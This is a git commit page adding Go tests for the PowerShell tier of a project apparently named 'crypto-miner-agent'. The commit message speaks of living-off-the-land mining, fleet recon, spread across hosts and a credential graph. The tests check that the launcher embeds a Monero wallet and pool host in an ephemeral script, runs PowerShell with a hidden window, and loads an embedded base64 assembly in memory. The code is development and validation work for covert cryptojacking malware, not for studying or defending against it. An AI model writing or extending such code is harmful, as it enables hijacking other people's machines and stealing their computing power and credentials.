Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.
This commit is contained in:
147
agent/miner/powershell_launcher_test.go
Normal file
147
agent/miner/powershell_launcher_test.go
Normal file
@@ -0,0 +1,147 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func fakePowerShellRecorder(t *testing.T) (bin string, scriptOut *string) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
outFile := filepath.Join(dir, "ps-args.txt")
|
||||
if runtime.GOOS == "windows" {
|
||||
bat := filepath.Join(dir, "fake-powershell.cmd")
|
||||
body := `@echo off
|
||||
set OUT=%~dp0ps-args.txt
|
||||
echo %*>>"%OUT%"
|
||||
ping -n 3 127.0.0.1 >nul
|
||||
`
|
||||
if err := os.WriteFile(bat, []byte(body), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return bat, &outFile
|
||||
}
|
||||
sh := filepath.Join(dir, "fake-powershell.sh")
|
||||
body := `#!/bin/sh
|
||||
echo "$@" >> "$(dirname "$0")/ps-args.txt"
|
||||
sleep 1
|
||||
`
|
||||
if err := os.WriteFile(sh, []byte(body), 0o755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
return sh, &outFile
|
||||
}
|
||||
|
||||
func TestPowerShellLauncherStartWithFakeBinary(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("powershell tier is Windows-only")
|
||||
}
|
||||
|
||||
bin, outFile := fakePowerShellRecorder(t)
|
||||
SetPowerShellBinPath(bin)
|
||||
SetPowerShellExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
return exec.Command(name, args...)
|
||||
})
|
||||
defer func() {
|
||||
SetPowerShellBinPath("")
|
||||
SetPowerShellExecCommand(nil)
|
||||
}()
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
BuildID: "ps-test",
|
||||
Wallet: "XMR:wallet123",
|
||||
WorkerName: "worker-ps",
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
PoolPass: "x",
|
||||
},
|
||||
}
|
||||
|
||||
launcher, err := NewPowerShellLauncher(cfg)
|
||||
if err != nil {
|
||||
t.Fatalf("NewPowerShellLauncher: %v", err)
|
||||
}
|
||||
if err := launcher.Start(); err != nil {
|
||||
t.Fatalf("Start: %v", err)
|
||||
}
|
||||
defer launcher.Stop()
|
||||
|
||||
script := launcher.ScriptPath()
|
||||
if script == "" {
|
||||
t.Fatal("expected ephemeral script path")
|
||||
}
|
||||
body, err := os.ReadFile(script)
|
||||
if err != nil {
|
||||
t.Fatalf("read script: %v", err)
|
||||
}
|
||||
text := string(body)
|
||||
if !strings.Contains(text, "XMR:wallet123") {
|
||||
t.Fatalf("script missing wallet: %s", text)
|
||||
}
|
||||
if !strings.Contains(text, "pool.example.com") {
|
||||
t.Fatalf("script missing pool host: %s", text)
|
||||
}
|
||||
|
||||
if data, err := os.ReadFile(*outFile); err == nil && len(data) > 0 {
|
||||
args := string(data)
|
||||
if !strings.Contains(args, "-WindowStyle") || !strings.Contains(args, "Hidden") {
|
||||
t.Fatalf("powershell args=%q want hidden window", args)
|
||||
}
|
||||
}
|
||||
|
||||
if !launcher.Running() {
|
||||
t.Fatal("Running() false after Start")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPowerShellLauncherRequiresPoolAndWallet(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("powershell tier is Windows-only")
|
||||
}
|
||||
bin, _ := fakePowerShellRecorder(t)
|
||||
SetPowerShellBinPath(bin)
|
||||
defer SetPowerShellBinPath("")
|
||||
|
||||
if _, err := NewPowerShellLauncher(config.RuntimeConfig{}); err == nil {
|
||||
t.Fatal("expected error without pool/wallet")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPowerShellLauncherAssemblyLoadPath(t *testing.T) {
|
||||
if runtime.GOOS != "windows" {
|
||||
t.Skip("powershell tier is Windows-only")
|
||||
}
|
||||
bin, _ := fakePowerShellRecorder(t)
|
||||
SetPowerShellBinPath(bin)
|
||||
SetEmbeddedMiningAssemblyB64("YWJj") // "abc"
|
||||
defer func() {
|
||||
SetPowerShellBinPath("")
|
||||
SetEmbeddedMiningAssemblyB64("")
|
||||
}()
|
||||
|
||||
cfg := config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
Wallet: "wallet",
|
||||
PoolHost: "p",
|
||||
PoolPort: 1,
|
||||
},
|
||||
}
|
||||
launcher, err := NewPowerShellLauncher(cfg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
body, err := launcher.buildScriptBody()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(body, "Assembly]::Load") {
|
||||
t.Fatalf("expected Assembly.Load path, got %s", body)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user